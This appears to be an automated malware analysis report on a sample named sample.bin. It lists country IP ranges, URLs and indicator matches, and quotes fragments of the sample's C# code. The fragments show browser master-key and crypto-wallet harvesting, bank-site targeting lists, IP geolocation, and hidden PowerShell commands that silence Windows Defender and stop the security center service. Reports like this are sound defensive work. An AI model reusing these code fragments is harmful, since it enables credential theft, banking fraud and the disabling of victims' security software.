"203.144.0.0,203.155.255.255,TH,Thailand", Potential IPs "36.0.0.0", "36.255.255.255" found in string "36.0.0.0,36.255.255.255,CN,China", Potential IPs "110.159.0.0", "110.159.255.255" found in string "110.159.0.0,110.159.255.255,MY,Malaysia", Potential IPs "1.160.0.0", "1.175.255.255" found in string "1.160.0.0,1.175.255.255,TW,Taiwan", Potential IPs "203.162.0.0", "203.162.255.255" found in string "203.162.0.0,203.162.255.255,VN,Vietnam", Potential IPs "61.72.0.0", "61.87.255.255" found in string "61.72.0.0,61.87.255.255,KR,South Korea", Potential IPs "61.128.0.0", "61.191.255.255" found in string "61.128.0.0,61.191.255.255,CN,China", Potential IPs "60.160.0.0", "60.191.255.255" found in string "60.160.0.0,60.191.255.255,CN,China", Potential IPs "42.98.0.0", "42.98.255.255" found in string "42.98.0.0,42.98.255.255,HK,Hong Kong", Potential IPs "124.6.0.0", "124.6.255.255" found in string "124.6.0.0,124.6.255.255,PH,Philippines", Potential IPs "185.0.0.0", "185.255.255.255" found in string "185.0.0.0,185.255.255.255,EU,Europe", Potential IPs "218.0.0.0", "223.255.255.255" found in string "218.0.0.0,223.255.255.255,CN,China", Potential IPs "42.152.0.0", "42.153.255.255" found in string "42.152.0.0,42.153.255.255,MY,Malaysia", Potential IP "127.0.0.1" found in string " Connect your client to 127.0.0.1:", " 127.0.0.1:", Potential IPs "36.224.0.0", "36.239.255.255" found in string "36.224.0.0,36.239.255.255,TW,Taiwan", Potential IPs "119.0.0.0", "120.255.255.255" found in string "119.0.0.0,120.255.255.255,CN,China", Potential IPs "203.113.0.0", "203.113.255.255" found in string "203.113.0.0,203.113.255.255,VN,Vietnam", Potential IPs "123.16.0.0", "123.31.255.255" found in string "123.16.0.0,123.31.255.255,VN,Vietnam", Potential IPs "126.0.0.0", "126.255.255.255" found in string "126.0.0.0,126.255.255.255,JP,Japan", Potential IPs "14.0.0.0", "14.127.255.255" found in string "14.0.0.0,14.127.255.255,CN,China", Potential IPs "223.176.0.0", "223.239.255.255" found in string "223.176.0.0,223.239.255.255,IN,India", Potential IPs "203.0.0.0", "203.63.255.255" found in string "203.0.0.0,203.63.255.255,AU,Australia", Potential IPs "116.0.0.0", "116.95.255.255" found in string "116.0.0.0,116.95.255.255,CN,China", Potential IPs "118.32.0.0", "118.63.255.255" found in string "118.32.0.0,118.63.255.255,KR,South Korea", Potential IPs "182.64.0.0", "182.79.255.255" found in string "182.64.0.0,182.79.255.255,IN,India", Potential IPs "110.164.0.0", "110.165.255.255" found in string "110.164.0.0,110.165.255.255,TH,Thailand", Potential IPs "193.0.0.0", "195.255.255.255" found in string "193.0.0.0,195.255.255.255,EU,Europe", Potential IPs "1.2.2.0", "1.3.255.255" found in string "1.2.2.0,1.3.255.255,CN,China", Potential IPs "112.144.0.0", "112.191.255.255" found in string "112.144.0.0,112.191.255.255,KR,South Korea", Potential IPs "176.0.0.0", "178.255.255.255" found in string "176.0.0.0,178.255.255.255,EU,Europe", Potential IPs "111.240.0.0", "111.255.255.255" found in string "111.240.0.0,111.255.255.255,TW,Taiwan", Potential IPs "27.64.0.0", "27.79.255.255" found in string "27.64.0.0,27.79.255.255,VN,Vietnam", Potential IPs "122.160.0.0", "122.176.255.255" found in string "122.160.0.0,122.176.255.255,IN,India", Potential IPs "179.0.0.0", "179.255.255.255" found in string "179.0.0.0,179.255.255.255,BR,Brazil", Potential IPs "8.20.0.0", "8.20.255.255" found in string "8.20.0.0,8.20.255.255,SG,Singapore", Potential IPs "14.224.0.0", "14.255.255.255" found in string "14.224.0.0,14.255.255.255,VN,Vietnam", Potential IPs "116.14.0.0", "116.15.255.255" found in string "116.14.0.0,116.15.255.255,SG,Singapore", Potential IPs "210.8.0.0", "210.15.255.255" found in string "210.8.0.0,210.15.255.255,AU,Australia", Potential IPs "114.4.0.0", "114.10.255.255" found in string "114.4.0.0,114.10.255.255,ID,Indonesia", Potential IPs "24.0.0.0", "24.255.255.255" found in string "24.0.0.0,24.255.255.255,CA,Canada", Potential IPs "60.32.0.0", "60.47.255.255" found in string "60.32.0.0,60.47.255.255,JP,Japan", Potential IPs "3.0.0.0", "3.255.255.255" found in string "3.0.0.0,3.255.255.255,US,United States", Potential IPs "180.190.0.0", "180.194.255.255" found in string "180.190.0.0,180.194.255.255,PH,Philippines", Potential IPs "210.128.0.0", "210.255.255.255" found in string "210.128.0.0,210.255.255.255,JP,Japan", Potential IPs "1.32.0.0", "1.32.255.255" found in string "1.32.0.0,1.32.255.255,SG,Singapore", "127.0.0.1", Potential IPs "1.9.0.0", "1.9.255.255" found in string "1.9.0.0,1.9.255.255,MY,Malaysia", Potential IPs "49.64.0.0", "49.95.255.255" found in string "49.64.0.0,49.95.255.255,CN,China", Potential IPs "49.228.0.0", "49.231.255.255" found in string "49.228.0.0,49.231.255.255,TH,Thailand", Potential IPs "172.16.0.0", "172.31.255.255" found in string "172.16.0.0,172.31.255.255,LAN,LAN", Potential IPs "61.192.0.0", "61.215.255.255" found in string "61.192.0.0,61.215.255.255,JP,Japan", Potential IPs "119.73.0.0", "119.74.255.255" found in string "119.73.0.0,119.74.255.255,SG,Singapore", Potential IPs "60.248.0.0", "60.251.255.255" found in string "60.248.0.0,60.251.255.255,TW,Taiwan", Potential IPs "142.0.0.0", "142.255.255.255" found in string "142.0.0.0,142.255.255.255,CA,Canada", Potential IPs "27.96.0.0", "27.127.255.255" found in string "27.96.0.0,27.127.255.255,KR,South Korea", Potential IPs "177.0.0.0", "177.255.255.255" found in string "177.0.0.0,177.255.255.255,BR,Brazil", Potential IPs "180.0.0.0", "183.255.255.255" found in string "180.0.0.0,183.255.255.255,CN,China", Potential IPs "44.0.0.0", "44.255.255.255" found in string "44.0.0.0,44.255.255.255,US,United States", Potential IPs "210.65.0.0", "210.71.255.255" found in string "210.65.0.0,210.71.255.255,TW,Taiwan", Potential IPs "27.4.0.0", "27.7.255.255" found in string "27.4.0.0,27.7.255.255,IN,India", Potential IPs "58.96.0.0", "58.111.255.255" found in string "58.96.0.0,58.111.255.255,AU,Australia", Potential IP "127.0.0.1" found in string "user_pref("network.proxy.type", 1); user_pref("network.proxy.socks", "127.0.0.1"); user_pref("network.proxy.socks_port", ", Potential IPs "58.72.0.0", "58.79.255.255" found in string "58.72.0.0,58.79.255.255,KR,South Korea", Potential IPs "1.0.128.0", "1.0.255.255" found in string "1.0.128.0,1.0.255.255,TH,Thailand", Potential IPs "27.130.0.0", "27.130.255.255" found in string "27.130.0.0,27.130.255.255,TH,Thailand", Potential IPs "139.192.0.0", "139.195.255.255" found in string "139.192.0.0,139.195.255.255,ID,Indonesia", Potential IPs "37.0.0.0", "37.255.255.255" found in string "37.0.0.0,37.255.255.255,RU,Russia", Potential IPs "212.0.0.0", "217.255.255.255" found in string "212.0.0.0,217.255.255.255,EU,Europe", Potential IPs "192.168.0.0", "192.168.255.255" found in string "192.168.0.0,192.168.255.255,LAN,LAN", "0.0.0.0", Potential IPs "202.28.0.0", "202.29.255.255" found in string "202.28.0.0,202.29.255.255,TH,Thailand", Potential IPs "112.0.0.0", "112.255.255.255" found in string "112.0.0.0,112.255.255.255,CN,China", Potential IPs "113.0.0.0", "113.159.255.255" found in string "113.0.0.0,113.159.255.255,CN,China", Potential IPs "140.112.0.0", "140.138.255.255" found in string "140.112.0.0,140.138.255.255,TW,Taiwan", Potential IPs "203.210.0.0", "203.210.255.255" found in string "203.210.0.0,203.210.255.255,VN,Vietnam", Potential IPs "175.0.0.0", "175.255.255.255" found in string "175.0.0.0,175.255.255.255,CN,China", Potential IPs "188.0.0.0", "188.255.255.255" found in string "188.0.0.0,188.255.255.255,EU,Europe", Potential IPs "111.0.0.0", "111.255.255.255" found in string "111.0.0.0,111.255.255.255,CN,China", Potential IPs "115.72.0.0", "115.79.255.255" found in string "115.72.0.0,115.79.255.255,VN,Vietnam", Potential IPs "58.185.0.0", "58.185.255.255" found in string "58.185.0.0,58.185.255.255,SG,Singapore", Potential IPs "191.0.0.0", "191.255.255.255" found in string "191.0.0.0,191.255.255.255,BR,Brazil", Potential IPs "14.192.0.0", "14.192.255.255" found in string "14.192.0.0,14.192.255.255,MY,Malaysia", Potential IPs "202.166.0.0", "202.166.255.255" found in string "202.166.0.0,202.166.255.255,SG,Singapore", Potential IPs "110.136.0.0", "110.139.255.255" found in string "110.136.0.0,110.139.255.255,ID,Indonesia", Potential IPs "77.0.0.0", "95.255.255.255" found in string "77.0.0.0,95.255.255.255,EU,Europe", Potential IPs "27.0.0.0", "27.15.255.255" found in string "27.0.0.0,27.15.255.255,CN,China", Potential IPs "49.96.0.0", "49.127.255.255" found in string "49.96.0.0,49.127.255.255,JP,Japan", Potential IPs "106.128.0.0", "106.191.255.255" found in string "106.128.0.0,106.191.255.255,JP,Japan", Potential IPs "173.0.0.0", "174.255.255.255" found in string "173.0.0.0,174.255.255.255,US,United States", Potential IPs "14.160.0.0", "14.191.255.255" found in string "14.160.0.0,14.191.255.255,VN,Vietnam", Potential IPs "114.24.0.0", "114.47.255.255" found in string "114.24.0.0,114.47.255.255,TW,Taiwan", Potential IPs "118.96.0.0", "118.99.255.255" found in string "118.96.0.0,118.99.255.255,ID,Indonesia", Potential IPs "200.0.0.0", "201.255.255.255" found in string "200.0.0.0,201.255.255.255,BR,Brazil", Potential IPs "110.128.0.0", "110.159.255.255" found in string "110.128.0.0,110.159.255.255,JP,Japan", Potential IPs "119.8.0.0", "119.9.255.255" found in string "119.8.0.0,119.9.255.255,HK,Hong Kong", Potential IPs "99.0.0.0", "99.255.255.255" found in string "99.0.0.0,99.255.255.255,CA,Canada", Potential IPs "203.186.0.0", "203.186.255.255" found in string "203.186.0.0,203.186.255.255,HK,Hong Kong", Potential IPs "4.0.0.0", "4.255.255.255" found in string "4.0.0.0,4.255.255.255,US,United States", Potential IPs "203.106.0.0", "203.106.255.255" found in string "203.106.0.0,203.106.255.255,MY,Malaysia", Potential IPs "184.22.0.0", "184.22.255.255" found in string "184.22.0.0,184.22.255.255,TH,Thailand", Potential IPs "109.0.0.0", "109.255.255.255" found in string "109.0.0.0,109.255.255.255,EU,Europe", Potential IPs "210.186.0.0", "210.187.255.255" found in string "210.186.0.0,210.187.255.255,MY,Malaysia", Potential IPs "175.136.0.0", "175.145.255.255" found in string "175.136.0.0,175.145.255.255,MY,Malaysia", Potential IPs "106.192.0.0", "106.223.255.255" found in string "106.192.0.0,106.223.255.255,IN,India", Potential IPs "58.16.0.0", "58.63.255.255" found in string "58.16.0.0,58.63.255.255,CN,China", Potential IPs "46.0.0.0", "46.255.255.255" found in string "46.0.0.0,46.255.255.255,RU,Russia", Potential IPs "101.160.0.0", "101.191.255.255" found in string "101.160.0.0,101.191.255.255,AU,Australia", Potential IPs "106.0.0.0", "106.127.255.255" found in string "106.0.0.0,106.127.255.255,CN,China", Potential IPs "219.96.0.0", "219.127.255.255" found in string "219.96.0.0,219.127.255.255,JP,Japan", Potential IPs "112.208.0.0", "112.211.255.255" found in string "112.208.0.0,112.211.255.255,PH,Philippines", Potential IPs "47.0.0.0", "47.255.255.255" found in string "47.0.0.0,47.255.255.255,CA,Canada", Potential IPs "171.96.0.0", "171.103.255.255" found in string "171.96.0.0,171.103.255.255,TH,Thailand", Potential IPs "118.160.0.0", "118.171.255.255" found in string "118.160.0.0,118.171.255.255,TW,Taiwan", Potential IPs "27.122.0.0", "27.122.255.255" found in string "27.122.0.0,27.122.255.255,MY,Malaysia", Potential IP "127.0.0.1" found in string " --proxy-server="socks5://127.0.0.1:", Potential IPs "49.144.0.0", "49.147.255.255" found in string "49.144.0.0,49.147.255.255,PH,Philippines", Potential IPs "59.88.0.0", "59.99.255.255" found in string "59.88.0.0,59.99.255.255,IN,India", Potential IPs "49.176.0.0", "49.199.255.255" found in string "49.176.0.0,49.199.255.255,AU,Australia", Potential IPs "120.28.0.0", "120.29.255.255" found in string "120.28.0.0,120.29.255.255,PH,Philippines", Potential IPs "14.0.128.0", "14.0.255.255" found in string "14.0.128.0,14.0.255.255,HK,Hong Kong", Potential IPs "125.234.0.0", "125.235.255.255" found in string "125.234.0.0,125.235.255.255,VN,Vietnam", Potential IPs "202.137.0.0", "202.138.255.255" found in string "202.137.0.0,202.138.255.255,ID,Indonesia", Potential IPs "118.68.0.0", "118.71.255.255" found in string "118.68.0.0,118.71.255.255,VN,Vietnam", Potential IPs "219.76.0.0", "219.79.255.255" found in string "219.76.0.0,219.79.255.255,HK,Hong Kong", Potential IPs "125.160.0.0", "125.167.255.255" found in string "125.160.0.0,125.167.255.255,ID,Indonesia", Potential IPs "204.0.0.0", "209.255.255.255" found in string "204.0.0.0,209.255.255.255,US,United States", Potential IPs "121.0.0.0", "125.233.255.255" found in string "121.0.0.0,125.233.255.255,CN,China", Potential IPs "58.8.0.0", "58.11.255.255" found in string "58.8.0.0,58.11.255.255,TH,Thailand", Potential IPs "216.0.0.0", "216.255.255.255" found in string "216.0.0.0,216.255.255.255,US,United States", Potential IPs "186.0.0.0", "187.255.255.255" found in string "186.0.0.0,187.255.255.255,BR,Brazil", Potential IPs "171.224.0.0", "171.255.255.255" found in string "171.224.0.0,171.255.255.255,VN,Vietnam", Potential IPs "114.0.0.0", "114.255.255.255" found in string "114.0.0.0,114.255.255.255,CN,China", Potential IPs "39.0.0.0", "39.255.255.255" found in string "39.0.0.0,39.255.255.255,CN,China", Potential IPs "60.48.0.0", "60.54.255.255" found in string "60.48.0.0,60.54.255.255,MY,Malaysia", Potential IPs "117.192.0.0", "117.255.255.255" found in string "117.192.0.0,117.255.255.255,IN,India", Potential IPs "180.240.0.0", "180.255.255.255" found in string "180.240.0.0,180.255.255.255,ID,Indonesia", Potential IPs "49.128.0.0", "49.128.255.255" found in string "49.128.0.0,49.128.255.255,ID,Indonesia", Potential IPs "110.0.0.0", "110.255.255.255" found in string "110.0.0.0,110.255.255.255,CN,China", Potential IPs "184.144.0.0", "184.151.255.255" found in string "184.144.0.0,184.151.255.255,CA,Canada", Potential IPs "58.64.0.0", "58.65.255.255" found in string "58.64.0.0,58.65.255.255,HK,Hong Kong", Potential IPs "36.64.0.0", "36.95.255.255" found in string "36.64.0.0,36.95.255.255,ID,Indonesia", Potential IPs "2.0.0.0", "2.255.255.255" found in string "2.0.0.0,2.255.255.255,GB,United Kingdom", Potential IP "127.0.0.1" found in string " office-PC:3389 then mstsc 127.0.0.1:14000", Potential IP "127.0.0.1" found in string "Forward running: 127.0.0.1:", Potential IPs "115.132.0.0", "115.135.255.255" found in string "115.132.0.0,115.135.255.255,MY,Malaysia", Potential IPs "117.0.0.0", "117.7.255.255" found in string "117.0.0.0,117.7.255.255,VN,Vietnam", Potential IPs "10.0.0.0", "10.255.255.255" found in string "10.0.0.0,10.255.255.255,LAN,LAN", Potential IPs "168.95.0.0", "168.95.255.255" found in string "168.95.0.0,168.95.255.255,TW,Taiwan", Potential IPs "110.140.0.0", "110.175.255.255" found in string "110.140.0.0,110.175.255.255,AU,Australia", Potential IPs "59.32.0.0", "59.63.255.255" found in string "59.32.0.0,59.63.255.255,CN,China", Potential IPs "14.96.0.0", "14.143.255.255" found in string "14.96.0.0,14.143.255.255,IN,India", Potential IPs "116.96.0.0", "116.111.255.255" found in string "116.96.0.0,116.111.255.255,VN,Vietnam"34:T92e,Found HTTPS url "https://web.telegram.org", Found HTTPS url "https://www.facebook.com", Found HTTPS url "https://www.messenger.com", Found HTTPS url "https://download.teamviewer.com", Found HTTPS url "https://www.google.com", Found HTTPS url "https://accounts.google.com", Found HTTPS url "https://mail.google.com", Found HTTPS url "https://outlook.live.com", Found HTTPS url "https://www.tiktok.com", Found HTTPS url "https://accounts.snapchat.com", Found HTTPS url "https://discord.com", Found HTTPS url "https://web.whatsapp.com", Found HTTPS url "https://timeline.line.me", Found HTTPS url "https://web.wechat.com", Found HTTPS url "https://www.instagram.com", Found HTTPS url "https://x.com", Found HTTPS url "https://login.yahoo.com", Found HTTPS url "https://mail.yahoo.com", Found HTTPS url "https://en.wikipedia.org", Found HTTPS url "https://upload.wikimedia.org", Found HTTPS url "https://www.netflix.com", Found HTTPS url "https://earth.google.com", Found HTTPS url "https://www.linkedin.com", Found HTTPS url "https://twitter.com", Found HTTPS url "https://www.amazon.com", Found HTTPS url "https://www.paypal.com", Found HTTPS url "https://slack.com", Found HTTPS url "https://github.com", Found HTTPS url "https://appleid.apple.com", Found HTTPS url "https://login.live.com", Found HTTPS url "https://ou", Found HTTPS url "https://www.vietcombank.com.vn", Found HTTPS url "https://www.vietinbank.vn", Found HTTPS url "https://www.bidv.com.vn", Found HTTPS url "https://www.techcombank.com.vn", Found HTTPS url "https://www.mbbank.com.vn", Found HTTPS url "https://www.tpb.vn", Found HTTPS url "https://www.vpbank.com.vn", Found HTTPS url "https://www.acb.com.vn", Found HTTPS url "https://www.bca.co.id", Found HTTPS url "https://www.bankmandiri.co.id", Found HTTPS url "https://www.bni.co.id", Found HTTPS url "https://www.bri.co.id", Found HTTPS url "https://www.gcash.com", Found HTTPS url "https://html.duckduckgo.com", Found HTTPS url "https://web.line.me", Found HTTPS url "https://ww", Found HTTPS url "https://nominatim.openstreetmap.org", Found HTTPS url "https://web.skype.com", Found HTTPS url "https://coccoc.com", Found HTTPS url "https://mail.aol.com", Found HTTPS url "https://login.aol.com", Found HTTPS url "https://account.proton.me", Found HTTPS url "https://mail.proton.me", Found HTTPS url "https://www.icloud.com"35:T12d4,Pattern match: "https://web.telegram.org/k/", Pattern match: "https://download.teamviewer.com/download/teamviewer_setup.exe", Pattern match: "https://www.google.com/search?q=", Pattern match: "https://accounts.google.com/logout?continue=https://mail.google.com/mail/u/0/", Pattern match: "http://admin:admin@", Pattern match: "https://outlook.live.com/", Pattern match: "https://www.tiktok.com/logout", Pattern match: "https://discord.com/app", Pattern match: "https://web.whatsapp.com/", Pattern match: "https://x.com/", Heuristic match: " name = name.replace('\t', ' ').replace('\r', ' ').replace('\n', ' '); notes = notes.replace('\t', ' ').replace('\r', ' ').replace('\n', ' '); sb.append(bname).append('\t').append(name).append('\t').ap", Pattern match: "https://login.yahoo.com/account/logout?logout=1&.done=https://mail.yahoo.com", Pattern match: "https://en.wikipedia.org/wiki/special:search?search=", Pattern match: "https://upload.wikimedia.org/wikipedia/commons/transcoded/0/0c/fireball.ogv/fireball.ogv.480p.vp9.webm", Pattern match: "https://www.google.com/maps/@", Pattern match: "http://ip-api.com/json/", Pattern match: "https://www.netflix.com/signout", Heuristic match: "ation, notification_suppress, 1, microsoft.win32.registryvaluekind.dword); try { microsoft.win32.registry.setvalue(@hkey_local_machine\software\policies\microsoft\windows defender\windows defender exploit guard\controlled folder access", Pattern match: "https://earth.google.com/web/@", Pattern match: "https://www.google.com/maps?q=", Pattern match: "https://upload.wikimedia.org/wikipedia/commons/0/0c/fireball.ogv", Pattern match: "https://x.com/logout", Heuristic match: "x.com", Pattern match: "https://en.wikipedia.org/api/rest_v1/page/summary/", Pattern match: "w.facebook.com/logout.php", Pattern match: "http://127.0.0.1", Heuristic match: "fb.com", Pattern match: "https://login.live.com/logout.srf?wa=wsignout1.0&wreply=https://outlook.live.com/mail/", Pattern match: "https://www.google.com", Heuristic match: "rofile); // --- wallet / exchange apps --- string[][] wallets = new string[][] { new string[] { exodus, path.combine(la, exodus) }, new string[] { electrum, path.combine(la, electrum) }, new stri", Pattern match: "https://www.vietcombank.com.vn", Pattern match: "https://www.google.com/maps?layer=c&cbll=", Pattern match: "https://html.duckduckgo.com/html/?q=", Pattern match: "https://web.line.me/", Pattern match: "https://accounts.google.com/logout", Pattern match: "http://ip-api.com/json/?fields=status,country,countrycode", Pattern match: "http://www.microsoft.com/networking/wlan/profile/v1\", Heuristic match: "live.com", Heuristic match: "twitter.com", Pattern match: "https://nominatim.openstreetmap.org/reverse?format=jsonv2&lat=", Pattern match: "https://web.skype.com/", Heuristic match: "r.backcolor = color.fromargb(240, 240, 240); titlebar.paint += (ps, pe) => { try { using (var pen = new pen(color.fromargb(200, 200, 200))) ", Pattern match: "https://web.telegram.org/", Pattern match: "https://www.facebook.com/", Heuristic match: "wx.qq.com", Pattern match: "https://www.instagram.com/", Pattern match: "https://coccoc.com/", Pattern match: "https://web.wechat.com/", Pattern match: "https://mail.google.com/mail/u/0/?logout&hl=en", Heuristic match: "messenger.com", Heuristic match: "facebook.com", Pattern match: "https://accounts.google.com", Pattern match: "https://mail.google.com/mail/u/0/#inbox", Pattern match: "https://www.paypal.com/signout", Pattern match: "https://actions.google.com/sounds/v1/explosions/explosion.ogg", Pattern match: "mail.google.com/mail", Pattern match: "http://ipwho.is/", Pattern match: "https://chat.zalo.me/", Pattern match: "https://www.wellsfargo.com", Pattern match: "https://www.ultraviewer.net/en/ultraviewer_setup_6.6.11_en.exe", Pattern match: "https://account.zoho.com/logout", Pattern match: "https://www.uob.com.sg", Pattern match: "https://download.anydesk.com/anydesk.exe", Pattern match: "https://api.duckduckgo.com/?q=", Pattern match: "https://mail.google.com/", Pattern match: "https://www.instagram.com/accounts/logout/", Pattern match: "https://github.com/rustdesk/rustdesk/releases/download/1.4.9/rustdesk-1.4.9-x86_64.exe", Pattern match: "https://www.maya.ph", Pattern match: "http://ip-api.com/json/?fields=status,message,country,regionname,city,zip,lat,lon,query,isp,org,as,timezone", Pattern match: "https://api.ipify.org", Pattern match: "tlook.live.com/owa/logoff.owa", Pattern match: "https://www.messenger.com/", Pattern match: "https://timeline.line.me/", Heuristic match: "line.me"36:T647,"http://ip-api.com/json/" (Indicator: "ip-api.com"; File: "sample.bin"), "http://ip-api.com/json/?fields=status,country,countryCode" (Indicator: "ip-api.com"; File: "sample.bin"), "t.Encoding.UTF8; wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"); string j = ""; try { j = wc.DownloadString("http://ip-api.com/json/?fields=status,message,country,regionName,city,zip,lat,lon,query,isp,org,as,timezone"); } catch { try { j = wc.DownloadString("https://ipapi.co/json/"); } catch { j = ""; } } if (j.Length > 0) { lat = JNum(j, "lat"); if (lat.Length == 0) lat = JNum(j, "latitude"); lon = JNum(j, "lon"); if (lon.Length == 0) lon = JNum(j, "longitude"); city = JStr(j, "city"); region = JStr(j, "regionName"); if (region.Length == 0) region = JStr(j, "region"); country = JStr(j, "country"); if (country.Length == 0) country = JStr(j, "" (Indicator: "ip-api.com"; File: "sample.bin"), "" --proxy-bypass-list="<-loopback>" --disable-background-networking --disable-component-update --disable-sync --disable-features=WebRtcHideLocalIpsWithMdns,MediaRouter --force-webrtc-ip-handling-policy=disable_non_proxied_udp --no-first-run --no-default-browser-check --new-window https://api.ipify.org" (Indicator: "api.ipify.org"; File: "sample.bin")37:T10ba,Observed email domain:" "hotmail.com", "msn.com", "office.com", "office365.com", "microsoftonline.com", "yahoo.com", "mail.yahoo.com", "ymail.com", "aol.com", "verizonmedia.com", "proton.me", "protonmail.com", "zoho.com", "zohomail.com", "icloud.com", "me.com", "mac.com", "yandex.com", "yandex.ru", "mail.ru", "gmx.com", "gmx.net", "web.de", "fastmail.com", "tutanota.com", "tutamail.com", "mailbox.org", "roundcube", "cpanel", "webmail", "horde", "squirrelmail", "zimbra" }; for (int bi = 0; bi < browsers.length; bi++) { string bb = browsers[bi]; for (int ui = 0; ui < urls.length; ui++) { try { signoutopenurl(bb, urls[ui]); } catch { } thread.sleep(200); } try {" [Source: sample.bin], Observed email domain:""facebook.com", "fb.com", "messenger.com", "instagram.com", "whatsapp.com", "twitter.com", "x.com", "linkedin.com", "tiktok.com", "reddit.com", "amazon.com", "ebay.com", "paypal.com", "apple.com", "icloud.com", "dropbox.com", "github.com", "gitlab.com", "bitbucket.org", "discord.com", "slack.com", "telegram.org", "line.me", "wechat.com", "skype.com", "netflix.com", "spotify.com", "twitch.tv", "proton.me", "zoho.com", "yandex.com", "mail.ru", "gmx.com", "banking", "bank", "chase.com", "wellsfargo.com", "bankofamerica.com", "citibank.com" }; string[] urls = new string[] { "https://accounts.google.com/logout", "https://login.live.com/logout.srf?wa=wsignout1.0", "https://login.yahoo.com/account/logout", "https://ww" [Source: sample.bin], Observed email domain:" "chrome beta", path.combine(la, "google", "chrome beta", "user" + " data") }, new string[] { "edge beta", path.combine(la, "microsoft", "edge beta", "user" + " data") } }; string[] mailhost = new string[] { "gmail", "google.com", "mail.google", "outlook", "hotmail", "live.com", "office.com", "yahoo", "ymail", "aol.", "icloud", "me.com", "proton", "zoho", "mail.com", "gmx.", "inbox.com", "fastmail", "tutanota", "mail.ru", "yandex", "qq.com", "163.com", "126.com", "naver.", "daum.", "web.de", "mail.yahoo" }; for (int bi = 0; bi < roots.length; bi++) { string bname = roots[bi][0]; string root = roots[bi][1]; if (!directory.exists(root)) continue; byte[] mk = null; try { mk = getbrowsermasterkey(root); } catch { } _chromeabekey = null; try { _chromeabekey = ensurea" [Source: sample.bin], Observed email domain:" "https://account.zoho.com/logout", "https://mail.zoho.com/zm/logout.do", "https://www.icloud.com/mail", "https://login.icq.com/logout", "https://mail.yandex.com/?logout=yes", "https://passport.yandex.com/passport?mode=logout", "https://mail.ru/cgi-bin/logout", "https://account.gmx.com/logout", "https://www.gmx.com/", "https://account.web.de/logout", "https://www.fastmail.com/login/", "https://app.tutanota.com/logout", "https://roundcube.example.invalid/" }; string[] domains = new string[] { "google.com", "gmail.com", "googlemail.com", "accounts.google.com", "live.com", "login.live.com", "microsoft.com", "outlook.com", "outlook.live.com"," [Source: sample.bin]38:T42e,"der\\UX Configuration' -Name Notification_Suppress -Value 1 -Type DWord -Force}catch{};try{Set-ItemProperty -Path 'HKLM:\\SOFTWARE\\Microsoft\\Windows Defender\\UX Configuration' -Name Notification_Suppress -Value 1 -Type DWord -Force}catch{};try{Stop-Service -Name wscsvc -Force -ErrorAction SilentlyContinue}catch{};try{Start-Service -Name wscsvc -ErrorAction SilentlyContinue}catch{}"; psiQuiet.CreateNoWindow = true; psiQuiet.UseShellExecute = false; psiQuiet.WindowStyle = ProcessWindowStyle.Hidden; Process.Start(psiQuiet); try { Thread.Sleep(500); } catch { } try { var psiQuiet2 = new ProcessStartInfo(); psiQuiet2.FileName = "powershell.exe"; psiQuiet2.Arguments = "-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command try{Set-MpPreference -DisableNoti" (Indicator: "wscsvc") in Source: sample.bin39:T1926," "bidv.com", "techcombank", "mbbank.com.vn", "tpbank", "vpbank", "acb.com.vn", "sacombank", "gcash.com", "maya.ph", "paymaya", "hongleong", "rhbgroup", "ambank", "bdo.com.ph", "bpi.com.ph", "alipay.com", "grabpay", "gopay" }; } static bool IsBankSiteUrl(string url) { if (string.IsNullOrEmpty(url)) return false; string s = url.ToLowerInvariant(); if (s.IndexOf("http") < 0 && s.IndexOf(".") < 0) return false; string[] keys = BankSiteNeedles(); for (int i = 0; i < keys.Length; i++) if (s.IndexOf(keys[i]) >= 0) return true; return false; } static string BankSessionScan() { var sb = new StringBuilder(); sb.AppendLine("========== BANK SESSION SCAN =========="); sb.AppendLine("User: " + Environment.UserName + " Host: " + Environment.MachineName); sb.AppendLine("Time: " + DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss")); sb.AppendLine("Sources: History + Login Dat" (Source: sample.bin, Indicator: "bpi.com.ph"), ""https://www.vietcombank.com.vn"; if (low.IndexOf("vietinbank") >= 0) return "https://www.vietinbank.vn"; if (low.IndexOf("bidv") >= 0) return "https://www.bidv.com.vn"; if (low.IndexOf("techcombank") >= 0) return "https://www.techcombank.com.vn"; if (low.IndexOf("mbbank") >= 0 || low.IndexOf("mb bank") >= 0) return "https://www.mbbank.com.vn"; if (low.IndexOf("tpbank") >= 0) return "https://www.tpb.vn"; if (low.IndexOf("vpbank") >= 0) return "https://www.vpbank.com.vn"; if (low.IndexOf("acb") >= 0) return "https://www.acb.com.vn"; if (low.IndexOf("bca") >= 0) return "https://www.bca.co.id"; if (low.IndexOf("mandiri") >= 0) return "https://www.bankmandiri.co.id"; if (low.IndexOf("bni") >= 0) return "https://www.bni.co.id"; if (low.IndexOf("bri") >= 0) return "https://www.bri.co.id"; if (low.IndexOf("gcash") >= 0) return "https://www.gcash.com"; if (low.IndexOf("maya") >= 0 || low.IndexOf("paymaya") >= 0) re" (Source: sample.bin, Indicator: "vpbank.com"), ""facebook.com", "fb.com", "messenger.com", "instagram.com", "whatsapp.com", "twitter.com", "x.com", "linkedin.com", "tiktok.com", "reddit.com", "amazon.com", "ebay.com", "paypal.com", "apple.com", "icloud.com", "dropbox.com", "github.com", "gitlab.com", "bitbucket.org", "discord.com", "slack.com", "telegram.org", "line.me", "wechat.com", "skype.com", "netflix.com", "spotify.com", "twitch.tv", "proton.me", "zoho.com", "yandex.com", "mail.ru", "gmx.com", "banking", "bank", "chase.com", "wellsfargo.com", "bankofamerica.com", "citibank.com" }; string[] urls = new string[] { "https://accounts.google.com/Logout", "https://login.live.com/logout.srf?wa=wsignout1.0", "https://login.yahoo.com/account/logout", "https://ww" (Source: sample.bin, Indicator: "chase.com"), " if (s.IndexOf(n[i]) >= 0) return true; if (s.IndexOf("wallet") >= 0 && s.IndexOf("http") >= 0) return true; return false; } static string[] BankSiteNeedles() { return new string[] { "paypal.com", "venmo.com", "zelle", "chase.com", "wellsfargo.com", "bankofamerica.com", "bofa.com", "citibank.com", "citi.com", "capitalone.com", "usbank.com", "pnc.com", "tdbank.com", "hsbc.com", "barclays", "lloydsbank", "natwest.com", "santander", "revolut.com", "wise.com", "dbs.com", "ocbc.com", "uob.com", "maybank", "cimb.com", "bca.co.id", "bankmandiri", "bni.co.id", "bri.co.id", "scotiabank", "rbc.com", "td.com", "bmo.com", "commbank.com.au", "nab.com.au", "westpac.com.au", "anz.com", "ing.com", "n26.com", "kasikorn", "kasikornbank", "kbank.com", 